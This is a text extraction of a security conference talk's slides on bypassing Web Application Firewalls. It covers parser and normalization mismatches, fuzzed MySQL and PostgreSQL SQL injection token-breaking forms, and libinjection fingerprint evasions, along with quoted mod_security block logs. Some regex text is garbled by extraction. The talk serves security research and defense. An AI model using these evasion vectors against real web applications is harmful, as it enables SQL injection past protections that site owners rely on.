The report considers analysis of modern Web Application Firewalls. The author provides comparison of attack detection algorithms and discusses their advantages and disadvantages. The talk includes examples of bypassing protection mechanisms. The author points out the necessity of discovering a universal method of masquerading for vectors of various attacks via WAFs for different algorithms.
5. Implementation
• Failover bypass:
• DoS/DDoS WAF for bypass it- why not?!
• What happens with traffic when your
filter is overloaded?
• XML, regexp, token bombs for this
• Not so silently, right? :)
6. WAF work stages
• Parse HTTP packet from client (web server
to this in general case)
• Determine rules that must be applied to
current URL/client/hostname/etc
• Normalize data (2-nd urldecode, base64,
etc)
• Do detection logic (such as regexpr)
• Make detection decision (true/false/score)
7. WAF work stages
• Parse HTTP packet from client (web server
to this in general case)
• Determine rules that must be applied to
current URL/client/hostname/etc
• Normalize data (2-nd urldecode, base64,
etc)
• Do detection logic (such as regexpr)
• Make detection decision (true/false/score)
9. Parse HTTP packets
• First read: «Protocol-Level Evasion of Web
Application Firewalls», Ivan Ristic, BH-
US-2012
• Nice yesterday bypass Imperva by
@webpentest during PHDays WAF bypass
contest: Content-Type: invalid :)))
• Classic example - HTTP Parameter
Pollution
• Are you sure that WAF’s and webapp’s
HTTP protocols are the same?
10. WAF work stages
• Parse HTTP packet from client (web server
to this in general case)
• Determine rules that must be applied to
current URL/client/hostname/etc
• Normalize data (2-nd urldecode, base64,
etc)
• Do detection logic (such as regexpr)
• Make detection decision (true/false/score)
12. Data normalization
• Format parsers, for example:
• base64
• xml
• JSON
• Are you sure that WAF’s and webapp’s
parsers are the same?
13. Data normalization
• mod_security, t:base64decode
• decode string until first = char
• PHP, base64_decode($strict=false)
• decode whole string
• Attack vector
• YWFh=attackhere
• Use t:base64DecodeExt!
14. Data normalization
• Yet another example from yesterday
PHDays WAF bypass contest - Imperva
XML decoding
• First decode XML, that validate attacks
• XML input was not set up as XML type in
WAF
• Put attack as XML-encoded data (entities)
to bypass regexpr: union select 123
15. WAF work stages
• Parse HTTP packet from client (web server
to this in general case)
• Determine rules that must be applied to
current URL/client/hostname/etc
• Normalize data (2-nd urldecode, base64,
etc)
• Do detection logic (such as regexpr)
• Make detection decision (true/false/score)
18. SQL syntax
• First read this works:
• http://websec.wordpress.com/tag/sql-
obfuscation/
• http://www.slideshare.net/nickgsuperstar/
new-techniques-in-sql-obfuscation
• Obfuscated vector is more than welcome!
• Try to exploit
20. MySQL: the classics
• SELECT{U} 1 FROM
• ...UNION{U}FROM...
• SELECT VERSION{U}()
• {U} = [0x09,0x0A-0x0D,0x20,0xA0]*
• Fuzzed only 1-bytes sequences, not /**/, etc
21. MySQL: time to fuzzing!
• SELECT{F}VERSION{F}()
• SELECT 1{D}BAD
• {F} = {U} + 0x60 (backquote `)
• {D} = # + 0x60
• Have a fun with regexp:
• select`version` ( )
• ... where id=’1’`’ and ... - commented now
22. MySQL: break tokens!
• SELECT{O}1 FROM test
• {O} = [-+!~@]
• SELECT 1{W}FROM test;
• {W} = [.d?|ed]
• Part of this discovered during our WAF
bypass contest last year by @Black2Fan
23. MySQL: break tokens!
• SELECT-1e1FROM test
• SELECT~1.FROM test
• SELECTNFROM test
• SELECT@^1.FROM test
• SELECT-id-1.FROM test
• all tested on MySQL 5.1.66-0-squeeze1
24. Postgres: the classics
• SELECT{U} 1 FROM
• ...UNION{U}FROM...
• SELECT VERSION{U}()
• {U} = [0x09,0x0A,0x0C,0x0D,0x20]*
• Fuzzed only 1-bytes sequences, not /**/, etc
25. Postgres: time to fuzz!
• SELECT{F}VERSION{F}()
• SELECT 1{D}BAD
• {F} = {U} + 0x22 (doblequote ‘’)
• {D} = # + 0x22
• Have a fun with regexp:
• select’’version’’ ( )
• ... where id=’1’`’ and ... - commented now
26. Postgres: break tokens!
• SELECT{O}1 FROM test
• {O} = [.-+!~@] - @ is absolute operator
• SELECT 1{W}FROM test;
• {W} = [.d?|ed|] - nothing is also OK!
27. Postgres: break tokens!
• SELECT-1ROM test
• SELECT.1FROM test
• SELECT~1FROM test
• SELECT-id-1FROM test
• SELECT-id-1FROM test
• all tested on PostgreSQL 9.2.4
30. mod_security
• ?id=select id from test
• ?id=select-id-1.from test
Message: Access denied with code 403 (phase 2). Pattern match "(?i:(?:unions*?(?:all|
d i s t i n c t | [ ( ! @ ] * ? ) ? s * ? [ ( [ ] * ? s * ? s e l e c t s + ) | ( ? : w + s + l i ke s + [ " ' `
xc2xb4xe2x80x99xe2x80x98])|(?:likes*?["'`xc2xb4xe2x80x99xe2x80x98]%)|
(?:["'`xc2xb4xe2x80x99xe2x80x98]s*?likeW*?["'`xc2xb4 ..." at ARGS:id. [file "/
opt/modsecurity/rules/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line
"223"] [id "981245"] [msg "Detects basic SQL authentication bypass attempts 2/3"] [data
"Matched Data: select id from found within ARGS:id: select id from test"] [severity
"CRITICAL"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"]
31. mod_security
• ?id=1 or 1=1 or
• ?id=1 or true or
Message: Access denied with code 403 (phase 2). Pattern match "(?i:([s'"`
x c 2 x b 4 x e 2 x 8 0 x 9 9 x e 2 x 8 0 x 9 8 ( ) ] * ? ) ( [ d w ] + + ) ( [ s ' " `
xc2xb4xe2x80x99xe2x80x98()]*?)(?:(?:=|<=>|r?like|soundss+like|regexp)([s'"`
xc2xb4xe2x80x99xe2x80x98()]*?)2|(?:!=|<=|>=|<>|<|>|^|iss+not|not ..." at
A R G S : i d . [ fi l e " / o p t / m o d s e c u r i t y / r u l e s / b a s e _ r u l e s /
modsecurity_crs_41_sql_injection_attacks.conf"] [line "77"] [id "950901"] [rev "2"] [msg
"SQL Injection Attack: SQL Tautology Detected."] [data "Matched Data: 1=1 found within
ARGS:id: 1 or 1=1 or "] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.7"] [maturity "9"]
[accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/
WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/
6.5.2"]
32. libinjection
• Token based detection
• No more regexp!
• Fingerprint for each attack 1-5 tokens
sequence
• 14 token types, 14^5+14^4+14^3+14^2+14
~= 580k possible fingerprints
• Is it enough to block all SQLi?
34. Attack #1. Missed
token / fingerprint
• As fuzzed above ` 0x60 byte can be used as
a comment in MySQL and also as function
quotes
• ' into outfile 'asd' --
• block - skksc
• ' into outfile 'asd' `
• bypass - skksn
35. Attack #2.Token
obfuscation
• Find any unblocked fingerprint
• Obfuscate your attack to produce the same
fingerprint
• Fingerprint have only 5 tokens
• Need to exploit anti-obfuscation logic (1+1
and others hardcoded token combinations)
36. Attack #2.Token
obfuscation
• Fingerprint «v1111» looks like safe
• @a1a2a3a4 - variable but fingerprint of this
string is «v», no numeric token here
• @ф1й2у3ц4 - is valid variable for MySQL,
but produce fingerprint «v1111»
• @ф1й2у3ц4 union select ... produce
fingerprint «v1111» also :)
37. Some stats
• Hacking WAFs since 2009
• About 50 different implementations
• About 10 different engines
• Time to hack:
• min: 3 min
• max: 19 hours
• average: 1hour